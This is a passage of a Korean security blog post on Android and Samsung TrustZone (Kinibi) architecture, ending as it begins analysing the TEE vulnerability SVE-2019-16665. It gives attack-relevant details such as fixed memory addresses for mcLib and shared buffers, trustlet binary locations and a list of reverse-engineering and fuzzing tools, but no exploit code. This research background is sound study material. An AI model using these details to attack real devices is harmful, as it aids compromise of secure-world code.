&lt;/span&gt;&lt;span&gt;취약점 사례들을 분석하여 취약점 도출 낸 방법과 패치한 코드를 비교하여 살펴봅니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;2. 배경 지식&lt;/h4&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;2.1. &lt;span&gt;안드로이드 시스템 아키텍처&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;그림1.png&quot; data-origin-width=&quot;1383&quot; data-origin-height=&quot;761&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mStLq/btrrLPcX9Qg/K2xXPrb1gkZBMj639DnMZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mStLq/btrrLPcX9Qg/K2xXPrb1gkZBMj639DnMZ1/img.png&quot; data-alt=&quot;Fig. 1. Android System Architecture&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mStLq/btrrLPcX9Qg/K2xXPrb1gkZBMj639DnMZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmStLq%2FbtrrLPcX9Qg%2FK2xXPrb1gkZBMj639DnMZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1383&quot; height=&quot;761&quot; data-filename=&quot;그림1.png&quot; data-origin-width=&quot;1383&quot; data-origin-height=&quot;761&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Fig. 1. Android System Architecture&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;Fig. 1.&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;와 같이 안드로이드 시스템 아키텍처의 주요 기능으로 자세한 설명은 아래와 같습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;ㆍ애플리케이션 프레임워크 : 애플리케이션 개발자가 가장 자주 사용하며&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;하드웨어 개발자는 개발자 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;API&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;를 알고 있어야 합니다.&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;이는 다수의 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;API&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;가 기본적인 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;HAL &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;인터페이스에 직접 매핑되고 구현 드라이버에 관한 유용한 정보를 제공할 수 있기 때문입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;ㆍ바인더 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;IPC(&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;프로세스 간 통신&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;메커니즘 : 애플리케이션 프레임워크에서 경계를 교차 처리하고 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;Android &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;시스템 서비스 코드를 호출할 수 있게 해줍니다.&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;그러면 상위 수준의 프레임워크 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;API&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;가 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;Android &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;시스템 서비스와 상호작용할 수 있고&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;애플리케이션 프레임워크 수준에서는 이 통신이 개발자로부터 숨겨지며 상황은 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;'&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;단순하게 돌아가는&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;' &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;것처럼 보입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;ㆍ시스템 서비스 : 창 관리자&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;검색 서비스 또는 알림 관리자와 같은 집중된 형식의 모듈식 구성요소입니다.&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;애플리케이션 프레임워크 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;API&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;에 의해 노출된 기능은 시스템 서비스와 통신하여 기본 하드웨어에 액세스하며&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;, Android&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;에는 시스템&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;창 관리자 및 알림 관리자 등&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;과 미디어&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;미디어 재생 및 녹음&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;녹화 관련 서비스&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;이렇게 두 가지 서비스 그룹이 포함됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;ㆍHAL :&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;nbsp;하드웨어 공급업체에서 구현해야 하는 표준 인터페이스를 정의하며 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;Android&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;에서 하위 수준의 드라이버 구현을 고려하지 않아도 되게 해주는 시스템입니다.&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;nbsp;HAL&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;을 사용하면 상위 수준 시스템을 수정하거나 시스템에 영향을 주지 않고도 기능을 구현할 수 있고&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;, HAL &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;구현은 모듈로 패키징되며 적절한 시점에 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;Android &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;시스템에 의해 로드됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;ㆍ기기 드라이버 개발 : 일반적인 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;Linux &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;기기 개발과 유사하며&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;, Android&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;는 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;Linux &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;커널의 버전을 사용합니다.&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;여기에는 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;Low Memory Killer(&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;메모리를 좀 더 적극적으로 보존하는 메모리 관리 시스템&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;), wake&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;nbsp;lock(PowerManager &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;시스템 서비스&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;바인더 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;IPC &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;드라이버 및 모바일 삽입 플랫폼에 중요한 기타 기능과 같은 몇 가지 특별한 추가 기능이 포함되어 있고&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;이러한 추가 기능은 주로 시스템 기능과 관련이 있으며 드라이버 개발에는 영향을 미치지 않습니다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;[3].&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;2.2. TrustZone 아키텍처&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;그림6.png&quot; data-origin-width=&quot;7322&quot; data-origin-height=&quot;3839&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dwm7Ri/btrrD8Fz5jR/U3idi0NYIJX8aT55KH2Ki1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dwm7Ri/btrrD8Fz5jR/U3idi0NYIJX8aT55KH2Ki1/img.png&quot; data-alt=&quot;Fig. 2. TrustZone Architecture&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dwm7Ri/btrrD8Fz5jR/U3idi0NYIJX8aT55KH2Ki1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdwm7Ri%2FbtrrD8Fz5jR%2FU3idi0NYIJX8aT55KH2Ki1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;7322&quot; height=&quot;3839&quot; data-filename=&quot;그림6.png&quot; data-origin-width=&quot;7322&quot; data-origin-height=&quot;3839&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Fig. 2. TrustZone Architecture&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;Fig. 2.&lt;/span&gt;&lt;span&gt;의 &lt;/span&gt;&lt;span&gt;TrustZone &lt;/span&gt;&lt;span&gt;아키텍처에서 &lt;/span&gt;&lt;span&gt;TEE&lt;/span&gt;&lt;span&gt;는 보안 &lt;/span&gt;&lt;span&gt;EL1 &lt;/span&gt;&lt;span&gt;수준에서 실행됩니다&lt;/span&gt;&lt;span&gt;. Trusty&lt;/span&gt;&lt;span&gt;&amp;nbsp;애플리케이션을 그 위에 로드하고 보안 &lt;/span&gt;&lt;span&gt;EL0 &lt;/span&gt;&lt;span&gt;수준에서 실행할 수 있고,&lt;/span&gt;&lt;span&gt;&amp;nbsp;TrustZone&lt;/span&gt;&lt;span&gt;을 사용하면 &lt;/span&gt;&lt;span&gt;NS(Non-Secure Flag)&lt;/span&gt;&lt;span&gt;로 메모리에 태그를 지정하여 &lt;/span&gt;&lt;span&gt;Secure World &lt;/span&gt;&lt;span&gt;메모리를 &lt;/span&gt;&lt;span&gt;Normal World&lt;/span&gt;&lt;span&gt;에서 격리할 수 있습니다.&lt;/span&gt;&lt;span&gt;&amp;nbsp;Normal World&lt;/span&gt;&lt;span&gt;에서 실행되는 코드는 &lt;/span&gt;&lt;span&gt;NS&lt;/span&gt;&lt;span&gt;로 태그가 지정된 메모리에만 액세스할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;다음은 &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;가지 주요 제조사들의 &lt;/span&gt;&lt;span&gt;TEE &lt;/span&gt;&lt;span&gt;명칭입니다[&lt;/span&gt;&lt;span&gt;5].&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;ㆍ&lt;/span&gt;&lt;span&gt;Qualcomm: QSEE/QTEE&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;ㆍ&lt;/span&gt;&lt;span&gt;Huawei: TrustedCore&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;ㆍ&lt;/span&gt;&lt;span&gt;Trustonic: Kinibi&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;2.3. Samsung&amp;nbsp;TrustZone&amp;nbsp;아키텍처&lt;/h4&gt;
&lt;div data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;그림5.png&quot; data-origin-width=&quot;7322&quot; data-origin-height=&quot;3839&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pTEJe/btrrET2sLll/kATECHKsZLASCKfRK8ROgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pTEJe/btrrET2sLll/kATECHKsZLASCKfRK8ROgK/img.png&quot; data-alt=&quot;Fig. 3. Samsung TrustZone Architecture&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pTEJe/btrrET2sLll/kATECHKsZLASCKfRK8ROgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpTEJe%2FbtrrET2sLll%2FkATECHKsZLASCKfRK8ROgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;7322&quot; height=&quot;3839&quot; data-filename=&quot;그림5.png&quot; data-origin-width=&quot;7322&quot; data-origin-height=&quot;3839&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Fig. 3. Samsung TrustZone Architecture&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;Samsung TrustZone 아키텍처는 Fig. 3.의 설명은 다음과 같습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;ㆍNormal World에서 Drivers, Daemons, Libraries 그리고 Interfaces는 Secure World와의 통신은 SMC 및 공유 메모리 버퍼를 통과합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;ㆍSecure Monitor : ARM Trusted 기반 오픈소스 펌웨어입니다. 모듈식 구현과 공급 업체로부터 요구 사항에 맞게 런타임 서비스를 사용자가 지정한 SMC 핸들러를 추가할 수 있고, 여기서 Samsung은 Kinibi에서 처리하는 SMC를 전달하기 위해 런타임 서비스를 사용합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;ㆍSecure World : Micro-Kernel 아키텍처 기반 중 Kinibi는 Trustonic에서 개발한 32bit OS이며, Mobicore 및 t-base라고 불립니다. MTK는 S-EL1에서 유일하게 실행할 수 있는 Micro-Kernel입니다. 여기서 syscalls(SVCs)이 제공되는데 메모리 매핑, 프로세스 생성, SMCs 등이 있으며, 사용 가능한 SVCs는 호출 프로세스의 권한에 따라 달라지고 내장 드라이버와 같은 다른 구성 요소에는 Run-Time Manager(RTM)을 로드합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;ㆍRTM는 리눅스의 init 프로세스와 동일한 Secure World를 신뢰 애플리케이션입니다. 주요 작업으로 프로세스 시작과 관리를 할 수 있고 Trustlet에 NWd의 수신되는 데이터를 알립니다.&amp;nbsp;&amp;nbsp;또한, 프로세스 간 통신이 가능한 Mobicore Communication Interface(MCI)가 통신 채널로 구현되어 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;ㆍMCLIB는 Kinibi의 표준 라이브러리이며, 신뢰 애플리케이션, Secure 드라이버 및 RTM에 표준 기능을 제공합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;다음과 같이 2개의 API로 구분됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;ㆍTIApi:&amp;nbsp;신뢰&amp;nbsp;애플리케이션에서&amp;nbsp;사용하는&amp;nbsp;함수&amp;nbsp;집합 &lt;br /&gt;ㆍDrApi:&amp;nbsp;Secure&amp;nbsp;Driver에서&amp;nbsp;사용하는&amp;nbsp;기능&amp;nbsp;집합&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;ㆍTrusted Applications는 일반 애플리케이션과 동등한 Secure World(S-EL0에서 실행)입니다..&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;ㆍSecure Drivers는 Trusted 애플리케이션의 특수한 유형으로 S-EL0에서 실행되지만, 소프트웨어 정의 권한이 더 높아 더 많은 API와 syscall에 액세스할 수 있습니다. IPC 및 공유 메모리를 통해 TA와 통신합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size20&quot;&gt;2.4. &lt;span&gt;Trusty &lt;/span&gt;애플리케이션&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;그림7.png&quot; data-origin-width=&quot;4778&quot; data-origin-height=&quot;3839&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rvTCu/btrrD8ZSipE/5w5zFzKaeqD5VKflt3XIik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rvTCu/btrrD8ZSipE/5w5zFzKaeqD5VKflt3XIik/img.png&quot; data-alt=&quot;Fig. 4. TA Memory mapping&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rvTCu/btrrD8ZSipE/5w5zFzKaeqD5VKflt3XIik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrvTCu%2FbtrrD8ZSipE%2F5w5zFzKaeqD5VKflt3XIik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;4778&quot; height=&quot;3839&quot; data-filename=&quot;그림7.png&quot; data-origin-width=&quot;4778&quot; data-origin-height=&quot;3839&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Fig. 4. TA Memory mapping&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;Fig. 4.는 TA 메모리 매핑으로 Trusty 애플리케이션에서 임의 코드 실행의 과정으로 다음과 같습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;대부분 Trusty 애플리케이션과 드라이버는 서명된 바이너리이지만 암호화되어 있지 않는다면 쉽게 분석할 수 있다. Samsung 단말기에서 이러한 바이너리는 /vendor/app/mcRegistry 및 /system/app/mcRegistry 디렉터리에 저장됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;Trusty 애플리케이션 및 드라이버 바이너리에서 사용되는 MCLF 형식입니다. 이 형식은 trustonic-tee-user-space에서 사용할 수 있는 헤더 파일에 문서화되어 있습니다. mclf-ida-loader는 IDA에서 이 형식을 로드하는 데 도움을 줄 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;TA가 로드되면 Kinibi에서 MCLF 헤더를 사용하여 TA 메모리 공간의 코드, 데이터 및 bss 영역을 매핑합니다. mcLib 라이브러리는 고정 주소(0x07d00000 - Galaxy S8, S9)에 매핑됩니다. 또한, 세션이 열리면 공유 버퍼(tci)도 MCLF 헤더에 지정된 버전에 따라 고정 주소(0x00100000, 0x00300000)에서 매핑됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;REE의 TA Client는 새로운 공유 메모리 영역을 매핑할 수 있으며 이러한 영역은 0x00200000 + map_id*0x00100000입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;tci는 입력 및 출력 버퍼에 공유 메모리를 사용하며 처음 32비트는 명령 ID로 사용됩니다. 일반적으로 초기화는 진입점(암호화 초기화, 스택 쿠키 랜덤화 등)에서 수행된 다음 main 함수가 호출됩니다. main 함수는 공유 버퍼 크기를 확인한 다음 main Loop를 시작한다. TA는 tlApiWaitNotification API로 새 메시지를 기다리고 공유 버퍼의 내용을 처리합니다. 응답 데이터는 공유 버퍼에 기록되고 TA는 tlApinotify API로 REE에 알리고 새 메시지를 기다립니다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size20&quot;&gt;3. 취약점 분석&lt;/h4&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size20&quot;&gt;3.1. SVE-2019-16665&lt;/h4&gt;
&lt;p style=&quot;text-align: justify;&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;7466&quot; data-ke-size=&quot;size16&quot;&gt;해당 취약점은 Android 7.0버전인 Samsung Galaxy S7의 단말기에서 EL3에서 코드 실행이 가능하도록 Kinibi에서 임의 메모리를 매핑한 것입니다. 취약점을 도출하기 위해 Trustlet에서 사용하는 MCLF 형식의 Ghidra 로더, tlApi 함수의 이름을 자동으로 바꾸는 IDA Pro/Ghidra 로더, Trustlet과 통신하기 위한 Python 프레임워크, AFL 및 Unicorn 엔진에 기반한 에뮬레이터/Fuuzer, 기호 실행을 수행하는 Manticore 스크립트, S-Boot 바이너리 IDA Pro/Ghidra 로더로 도구 개발되었습니다.&lt;/p&gt;
